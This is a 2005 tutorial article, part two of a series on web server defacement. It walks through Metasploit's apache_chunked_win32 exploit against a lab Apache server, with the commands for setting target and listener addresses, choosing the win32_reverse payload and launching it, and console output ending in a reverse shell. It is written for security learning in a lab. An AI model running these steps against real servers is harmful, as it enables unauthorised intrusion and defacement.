Web Server Defacements (Part 2)

by Don Parker [Published on 15 March 2005 / Last Updated on 15 March 2005]

In part two of this article series we shall take a more detailed look at how to actually pull off a web page defacement. The tool in use will be the outstanding open source security program Metasploit Framework. Detailed usage will be shown so you can recreate the scenario.

Read Web Server Defacements (Part 1)

Read Web Server Defacements (Part 3)

Web Server Defacements (Part 2)

I will quickly recap from where Part One of this article series left off. Quickly detailed in part one was how a web server can be defaced, and introduced was the tool that we will use to do such a defacement ourselves. Before we proceed further I would like to point out once again that recreating exploits, or in this case web server defacements is a legitimate exercise in computer security. One must however do so in a computer laboratory environment, as detailed in part one. It is not enough to only know how something works you must ideally be able to make it work yourself. On that note let us carry on with our usage of the tool Metasploit to further our understanding of web server defacements.

From theory to reality

Now from here on in we are continuing with the tool Metasploit, and how it is used. It is with this tool that we will gain system level access to the Apache web server. Obtaining a reverse shell is what will allow us to upload our modified index.html file, which is the default page served up by a web server ie: your company log for example.

The below noted shows what the command “show exploits” will give you when entered at the msf prompt within Metasploit. A list of the available exploits comes up.

msf > show exploits

Metasploit Framework Loaded Exploits
====================================

Credits Metasploit Framework Credits
afp_loginext AppleFileServer LoginExt PathName Buffer Overflow
apache_chunked_win32 Apache Win32 Chunked Encoding
blackice_pam_icq ISS PAM.dll ICQ Parser Buffer Overflow
distcc_exec DistCC Daemon Command Execution
exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow
frontpage_fp30reg_chunked Frontpage fp30reg.dll Chunked Encoding
ia_webmail IA WebMail 3.x Buffer Overflow
iis50_nsiislog_post IIS 5.0 nsiislog.dll POST Overflow
iis50_printer_overflow IIS 5.0 Printer Buffer Overflow
iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow

So we can see several of the exploits available within the framework are listed. I truncated the list, but when you enter the same command as I did you will get the full listing. The one we are going to use is the second from the top: apache_chunked_win32

Now I will enter the command to pick the exploit we are going to use as seen below.

msf > use apache_chunked_win32
msf apache_chunked_win32 >

As seen above we have our prompt back and it is showing we are using the exploit that we chose: apache_chunked_win32. From here we now will put in the below noted command to check for various options associated with this exploit under the framework.

msf apache_chunked_win32 > show options

Exploit Options
===============

Exploit: Name Default Description
  --------  ------  -------  ------------------
optional SSL  Use SSL
required RHOST  The target address
required RPORT 80  The target port

Target: Windows NT/2K Brute Force

msf apache_chunked_win32 >  

We now have our prompt back again, and the list of options we need to fill in such as the remote hosts IP address. Please note that you will also need to enter the local hosts IP address as well ie: your attacking machines address in your lab setup. You need to enter the commands to set these options as noted below;

msf apache_chunked_win32 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >  

We will set the LHOST option a little later on in this article.

Would you look at those exploit options!

We have now set that field, and have our prompt waiting for us once again. From here we will go onto other various options we need to set before using this exploit to gain system level access on the web server. In our case we will now use the following command to see what payloads we can use.

msf apache_chunked_win32 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_bind                       Windows Bind Shell
win32_bind_dllinject          Windows Bind DLL Inject
win32_bind_stg                 Windows Staged Bind Shell
win32_bind_stg_upexec     Windows Staged Bind Upload/Execute
win32_bind_vncinject         Windows Bind VNC Server DLL Inject
win32_reverse                   Windows Reverse Shell
win32_reverse_dllinject       Windows Reverse DLL Inject
win32_reverse_stg              Windows Staged Reverse Shell
win32_reverse_stg_ie         Windows Reverse InlineEgg Stager
win32_reverse_stg_upexec   Windows Staged Reverse Upload/Execute
win32_reverse_vncinject       Windows Reverse VNC Server DLL Inject

msf apache_chunked_win32 >       

Whoa! Quite a nice selection to play with isn’t it? This really is part of the beauty that is the Metasploit Framework. It will allow you to use whatever “egg” you choose. By “egg” I mean whatever payload that you will have executed by the victim’s CPU once you have exploited the vulnerability that you are targeting. Having this wide choice is one of the great uses of this security tool.

From what we can see above there is a plethora of options available to us. In our case we will use the win32_reverse payload. Why? Well we want a shell that we can use to ferry stuff back and forth with. To be precise we want to copy the index.html file, and make some adjustments to it ie: deface it. Having a shell will allow us to do just that. Well on that note we need to tell the Framework that we want that payload option. Please see below for the syntax.

msf apache_chunked_win32 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >          

So we now have set that payload and have our prompt back. What to do next? Ah yes! We need to set an IP address to receive the reverse shell. Remember a few steps ago we set the RHOST to specify the machine to attack? Well we also need to do the same thing to set the receiving host. Please see below.

msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >  

We are now ready to actually launch the exploit. The syntax for doing so is seen below.

msf apache_chunked_win32(win32_reverse) > exploit 192.168.1.101
[*] Starting Reverse Handler.
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 348...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 348...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 352...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 352...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 356...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 356...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 360...
[*] Got connection from 192.168.1.101:1031

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Program Files\Apache Group\Apache> 

So we can see above that we now have a command prompt in the Apache directory itself. There was one other option we could of used in this case; that being the “target” option to specify the operating system in use. Even if not specified it will try all the ones it can do. To use the target option please do the following;

msf apache_chunked_win32(win32_reverse) > show targets

The list of targets will then come up. All you need to do is pick the one you want, and set it as we did above;

msf apache_chunked_win32(win32_reverse) > set TARGET 1

That will enter the target of 1 which if memory serves is W2K Pro.

Well so far we have accomplished a fair amount of work. The Apache web server has now been compromised by us, and we have our reverse shell as seen above. With this reverse shell and system level access the machine is completely ours to play with and manipulate. So, on that note we will end part two of this article series and continue on in the final part. It is in part three that we will actually do the web page defacement, and look under the hood at the attack as well. See you then!

Read Web Server Defacements (Part 1)

Read Web Server Defacements (Part 3)

See Also


The Author — Don Parker

Don Parker specializes in matters of intrusion detection, and incident handling. He has also enjoyed a role as guest speaker at various network security conferences, and writing for various online and print media on matters of computer security.